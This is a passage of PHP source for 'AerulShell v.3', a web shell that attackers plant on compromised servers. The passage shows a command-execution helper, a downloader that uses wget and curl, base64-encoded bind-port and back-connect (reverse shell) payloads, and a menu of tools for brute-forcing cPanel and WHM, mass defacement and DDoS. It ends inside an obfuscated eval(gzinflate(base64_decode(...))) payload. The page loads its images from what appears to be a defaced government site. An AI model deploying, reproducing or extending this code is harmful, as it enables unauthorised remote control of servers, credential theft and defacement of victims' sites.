  440. <td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</a>
  441. <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  442. <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  443. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
  444. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  445. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  446. onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
  447. </form> </td>
  448. <td>".ukuran($full)."</td>
  449. <td style=\"text-align:center;\">".$owner."</td>
  450. <td>".get_perms($full)."</td>
  451. <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
  452. <td><a href=\"?y=$pwd&amp;edit=$full\">edit</a>
  453. | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a>
  454. | <a href=\"?y=$pwd&amp;delete=$full\">delete</a>
  455. | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gz</a>)
  456. </td>
  457. </tr>";
  458. }
  459. $buff .= "</table>"; return $buff;
  460. }
  461. function ukuran($file)
  462. {
  463. if($size = @filesize($file))
  464. {
  465. if($size <= 1024) return $size;
  466. else
  467. {
  468. if($size <= 1024*1024)
  469. { $size = @round($size / 1024,2);; return "$size kb"; }
  470. else { $size = @round($size / 1024 / 1024,2); return "$size mb"; }
  471. }
  472. }
  473. else return "???";
  474. }
  475. function exe($cmd)
  476. {
  477. if(function_exists('system'))
  478. {
  479. @ob_start();
  480. @system($cmd);
  481. $buff = @ob_get_contents();
  482. @ob_end_clean();
  483. return $buff;
  484. }
  485. elseif(function_exists('exec'))
  486. {
  487. @exec($cmd,$results);
  488. $buff = "";
  489. foreach($results as $result)
  490. { $buff .= $result; }
  491. return $buff;
  492. }
  493. elseif(function_exists('passthru'))
  494. {
  495. @ob_start();
  496. @passthru($cmd);
  497. $buff = @ob_get_contents();
  498. @ob_end_clean();
  499. return $buff;
  500. }
  501. elseif(function_exists('shell_exec'))
  502. {
  503. $buff = @shell_exec($cmd);
  504. return $buff;
  505. }
  506. }
  507. function tulis($file,$text)
  508. {
  509. $textz = gzinflate(base64_decode($text));
  510. if($filez = @fopen($file,"w"))
  511. {
  512. @fputs($filez,$textz);
  513. @fclose($file);
  514. }
  515. }
  516. function ambil($link,$file)
  517. {
  518. if($fp = @fopen($link,"r"))
  519. {
  520. while(!feof($fp))
  521. {
  522. $cont.= @fread($fp,1024);
  523. }
  524. @fclose($fp);
  525. $fp2 = @fopen($file,"w");
  526. @fwrite($fp2,$cont);
  527. @fclose($fp2);
  528. }
  529. }
  530. function which($pr)
  531. {
  532. $path = exe("which $pr");
  533. if(!empty($path))
  534. { return trim($path); }
  535. else { return trim($pr); }
  536. }
  537. function download($cmd,$url)
  538. {
  539. $namafile = basename($url);
  540. switch($cmd)
  541. {
  542. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break;
  543. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break;
  544. case 'wfread' : ambil($wurl,$namafile);break;
  545. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  546. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  547. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  548. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  549. default: break; }
  550. return $namafile;
  551. }
  552. function get_perms($file)
  553. {
  554. if($mode[email protected]($file))
  555. {
  556. $perms='';
  557. $perms .= ($mode & 00400) ? 'r' : '-';
  558. $perms .= ($mode & 00200) ? 'w' : '-';
  559. $perms .= ($mode & 00100) ? 'x' : '-';
  560. $perms .= ($mode & 00040) ? 'r' : '-';
  561. $perms .= ($mode & 00020) ? 'w' : '-';
  562. $perms .= ($mode & 00010) ? 'x' : '-';
  563. $perms .= ($mode & 00004) ? 'r' : '-';
  564. $perms .= ($mode & 00002) ? 'w' : '-';
  565. $perms .= ($mode & 00001) ? 'x' : '-';
  566. return $perms;
  567. }
  568. else return "??????????";
  569. }
  570. function clearspace($text){ return str_replace(" ","_",$text); }
  571. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  572. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  573. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  574. ?>
  575. <html>
  576. <head>
  577. <link rel="shortcut icon" href="http://i1121.photobucket.com/albums/l513/iqbalkanci/indonesia-icon-1-1.png" type="image/x-icon" />
  578. <title><?php print TITLE; ?> <?php echo VERSION; ?></title>
  579. <script type='text/javascript'>
  580. var message = new Array() // leave this as is
  581. message[0] = "-=[AerulShell v.3]=-";
  582. var reps = 2
  583. var speed = 70
  584. var p=message.length;
  585. var T="";
  586. var C=0;
  587. var mC=0;
  588. var s=0;
  589. var sT=null;
  590. if(reps<1)reps=1;
  591. function doTheThing(){
  592. T=message[mC];
  593. A();}
  594. function A(){
  595. s++
  596. if(s>9){s=1}
  597. if(s==1){document.title='[D====] '+T+' [====I]'}
  598. if(s==2){document.title='[=E===] '+T+' [===N=]'}
  599. if(s==3){document.title='[==F==] '+T+' [==D==]'}
  600. if(s==4){document.title='[===A=] '+T+' [=O===]'}
  601. if(s==5){document.title='[====>] '+T+' [N====]'}
  602. if(s==6){document.title='[===C=] '+T+' [=E===]'}
  603. if(s==7){document.title='[==E==] '+T+' [==S==]'}
  604. if(s==8){document.title='[=R===] '+T+' [===I=]'}
  605. if(s==9){document.title='[==-==] '+T+' [====A]'}
  606. if(C<(8*reps)){
  607. sT=setTimeout("A()",speed);
  608. C++
  609. }else{
  610. C=0;
  611. s=0;
  612. mC++
  613. if(mC>p-1)mC=0;
  614. sT=null;
  615. doTheThing();}}
  616. doTheThing();
  617. </script>
  618. <script type="text/javascript">
  619. function tukar(lama,baru)
  620. {
  621. document.getElementById(lama).style.display = 'none';
  622. document.getElementById(baru).style.display = 'block';
  623. }
  624. </script>
  625. <style type="text/css">
  626. AKUSTYLE { display:none; }
  627. body { background-color:transparan;background:#000;background-image: url("http://acehtenggarakab.go.id/wp-content/uploads/lol.png");background-position: center; background-attachment: fixed;background-repeat: no-repeat; }
  628. A:link {COLOR: #00ffff; TEXT-DECORATION: none }
  629. A:visited {COLOR: #00ffff; TEXT-DECORATION: none }
  630. A:hover {text-shadow: 0pt 0pt 0.0em cyan, 0pt 0pt 0.0em cyan; color: #ffea00; TEXT-DECORATION: none }
  631. A:active {color: Red; TEXT-DECORATION: none }
  632. textarea {BORDER-RIGHT: #3e3e3e 1px solid; BORDER-TOP: #3e3e3e 1px solid; BORDER-LEFT: #3e3e3e 1px solid; BORDER-BOTTOM: #3e3e3e 1px solid; BACKGROUND-COLOR: #1b1b1b; font: Fixedsys bold; color: #00ffff; }
  633. * { font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; }
  634. #menu { background:#111111; margin:2px 2px 2px 2px; }
  635. #menu a { padding:4px 15px; margin:0; background:#6f120b; text-decoration:none; letter-spacing:2px; -moz-border-radius: 15px; -webkit-border-radius: 15px; -khtml-border-radius: 15px; border-radius: 7px; }
  636. #menu a:hover { background:#4F7456; border-bottom:1px solid #333333; border-top:1px solid #333333; }
  637. .tabnet { margin:15px auto 0 auto; border: 1px solid #333333; }
  638. .main { width:100%; }
  639. .gaya { color: #f70501; }
  640. .your_ip { color: #FF4719; }
  641. .inputz { background:#796767; border:0; padding:2px; border-bottom:1px solid #222222; border-top:1px solid #222222; }
  642. .inputzbut { background:#111111; color:#666666; margin:0 4px; border:1px solid #444444; }
  643. .inputz:hover,
  644. .inputzbut:hover { border-bottom:1px solid #4532F6; border-top:1px solid #D4CECE; color:#D4CECE; }
  645. .output { margin:auto; border:1px solid #FF0000; width:100%; height:400px; background:#000000; padding:0 2px; }
  646. .cmdbox { width:100%; }
  647. .head_info { padding: 0 4px; }
  648. .b1 { font-size:30px; padding:0; color:#FF0000; }
  649. .b2 { font-size:30px; padding:0; color: #FF9966; }
  650. .b_tbl { text-align:center; margin:0 4px 0 0; padding:0 4px 0 0; border-right:1px solid #333333; }
  651. .phpinfo table { width:100%; padding:0 0 0 0; }
  652. .phpinfo td { background:#111111; color:#cccccc; padding:6px 8px;; }
  653. .phpinfo th, th { background:#191919; border-bottom:1px solid #333333; font-weight:normal; }
  654. .phpinfo h2,
  655. .phpinfo h2 a { text-align:center; font-size:16px; padding:0; margin:30px 0 0 0; background:#222222; padding:4px 0; }
  656. .explore { width:100%; }
  657. .explore a { text-decoration:none; }
  658. .explore td { border-bottom:1px solid #333333; padding:0 8px; line-height:24px; }
  659. .explore th { padding:3px 8px; font-weight:normal; }
  660. .explore th:hover,
  661. .phpinfo th:hover { border-bottom:1px solid #4C83AF; }
  662. .explore tr:hover { background:#744F4F; }
  663. .viewfile { background:#EDECEB; color:#000000; margin:4px 2px; padding:8px; }
  664. .sembunyi { display:none; padding:0;margin:0; }
  665. </style>
  666. </head>
  667. <body onLoad="document.getElementById('cmd').focus();">
  668. <div class="main">
  669. <!-- head info start here -->
  670. <div class="head_info">
  671. <table>
  672. <tr>
  673. <td>
  674. <table class="b_tbl">
  675. <tr>
  676. <td>
  677. <a href="?"><span class="b1"><img src="http://acehtenggarakab.go.id/wp-content/uploads/v3.png" width="319" height="119" border="0"></span></a></td>
  678. </tr>
  679. <tr>
  680. <td>Powered by <?php echo $ver; ?></td>
  681. </tr>
  682. </table>
  683. </td>
  684. <td>
  685. <?php echo $buff; ?>
  686. </td>
  687. </tr>
  688. </table>
  689. </div>
  690. <!-- head info end here -->
  691. <!-- menu start -->
  692. <div id="menu">
  693. <center>
  694. <a href="?<?php echo "y=".$pwd; ?>"> <b>Home</b></a>
  695. <a href="?<?php echo "y=".$pwd; ?>&amp;x=shell"> <b>Shell</b></a>
  696. <a href="?<?php echo "y=".$pwd; ?>&amp;x=php"> <b>Eval</b></a>
  697. <a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo"> <b>PHPinfo</b></a>
  698. <a href="?<?php echo "y=".$pwd; ?>&amp;x=interface"> <b>MySQL Manager</b></a>
  699. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql"> <b>MySQL</b></a>
  700. <a href="?<?php echo "y=".$pwd; ?>&amp;x=upload"> <b>Upload</b></a>
  701. <a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit"> <b>NetSploit</b></a>
  702. <a href="?<?php echo "y=".$pwd; ?>&amp;x=mail"> <b>Mail</b></a>
  703. <a href="?<?php echo "y=".$pwd; ?>&amp;x=readable"> <b>Lompat</b></a>
  704. <a href="?<?php echo "y=".$pwd; ?>&amp;x=port-scanner"> <b>PortScn</b></a>
  705. <a href="?<?php echo "y=".$pwd; ?>&amp;x=domain"> <b>Domain</b></a>
  706. <a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink"> <b>Symlink</b></a><br><br>
  707. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cgishell"> <b>CGI-Shell</b></a>
  708. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi12"> <b>CGI-Telnet 2012</b></a>
  709. <a href="?<?php echo "y=".$pwd; ?>&amp;x=python"> <b>Python</b></a>
  710. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bypassconfig"> <b>Bypass Config</b></a>
  711. <a href="?<?php echo "y=".$pwd; ?>&amp;x=configsh3ll"> <b>Config Sh3ll</b></a>
  712. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset"> <b>WP Reset</b></a>
  713. <a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset"> <b>JoomlaReset</b></a>
  714. <a href="?<?php echo "y=".$pwd; ?>&amp;x=vb"> <b>VB-Changer</b></a>
  715. <a href="?<?php echo "y=".$pwd; ?>&amp;x=ngobrol"> <b>Ngobrol</b></a>
  716. <a href="?<?php echo "y=".$pwd; ?>&amp;x=zone-h"> <b>Zone - H</b></a><br><br>
  717. <a href="?<?php echo "y=".$pwd; ?>&amp;x=security-mode"> <b>Safe Mode</b></a>
  718. <a href="?<?php echo "y=".$pwd; ?>&amp;x=MD5"> <b>MD5 - Decrypter</b></a>
  719. <a href="?<?php echo "y=".$pwd; ?>&amp;x=encrypt"> <b>MD5 Encrypt</b></a>
  720. <a href="?<?php echo "y=".$pwd; ?>&amp;x=SHA1"> <b>SHA1 Hash</b></a>
  721. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cms-scanner"> <b>CMS Scan</b></a>
  722. <a href="?<?php echo "y=".$pwd; ?>&amp;x=sqli-scanner"> <b>SQLi Scan</b></a>
  723. <a href="?<?php echo "y=".$pwd; ?>&amp;x=sitelist"> <b>Site List</b></a>
  724. <a href="?<?php echo "y=".$pwd; ?>&amp;x=web-info"> <b>Who Is</b></a>
  725. <a href="?<?php echo "y=".$pwd; ?>&amp;x=fans"> <b>HKC Fans Page</b></a>
  726. <a href="?<?php echo "y=".$pwd; ?>&amp;x=hack-db"> <b>Hack - DB</b></a><br><br>
  727. <a href="?<?php echo "y=".$pwd; ?>&amp;x=bscan"> <b>Backdoor Scanner</b></a>
  728. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wso"> <b>WSO Shell 2.5</b></a>
  729. <a href="?<?php echo "y=".$pwd; ?>&amp;x=ciprut"> <b>Ciprut SBH</b></a>
  730. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wpjosbrute"> <b>WordPress Joomla BruteForce</b></a>
  731. <a href="?<?php echo "y=".$pwd; ?>&amp;x=DDOS"> <b>D D O S</b></a>
  732. <a href="?<?php echo "y=".$pwd; ?>&amp;x=wss"> <b>Wordpress ServerScan</b></a>
  733. <a href="?<?php echo "y=".$pwd; ?>&amp;x=jss"> <b>Joomla ServerScan</b></a><br><br>
  734. <a href="?<?php echo "y=".$pwd; ?>&amp;x=cpbrute"> <b>Cpanel BruteForce</b></a>
  735. <a href="?<?php echo "y=".$pwd; ?>&amp;x=whmbrute"> <b>WHM BruteForce</b></a>
  736. <a href="?<?php echo "y=".$pwd; ?>&amp;x=passlist"> <b>Pass List</b></a>
  737. <a href="?<?php echo "y=".$pwd; ?>&amp;x=indi"> <b>Indi Sh3ll</b></a>
  738. <a href="?<?php echo "y=".$pwd; ?>&amp;x=massdeface"> <b>MassDeface</b></a>
  739. <a href="?<?php echo "y=".$pwd; ?>&amp;x=command"> <b>Command</b></a>
  740. <a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs"> <b>WHMCS-Dec</b></a>
  741. <a href="?<?php echo "y=".$pwd; ?>&amp;x=whm"> <b>WHMCSV3</b></a>
  742. <a href="?<?php echo "y=".$pwd; ?>&amp;x=about"> <b>About</b></a>
  743. <a href="?x=out"> <b>Keluar</b></a>
  744. </center>
  745. </div>
  746. <!-- menu end -->
  747. <?php
  748. if(isset($_GET['x']) && ($_GET['x'] == 'out')) { logout(); }
  749. elseif(isset($_GET['x']) && ($_GET['x'] == 'php'))
  750. {
  751. ?>
  752. <form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
  753. <table class="cmdbox">
  754. <tr>
  755. <td>
  756. <textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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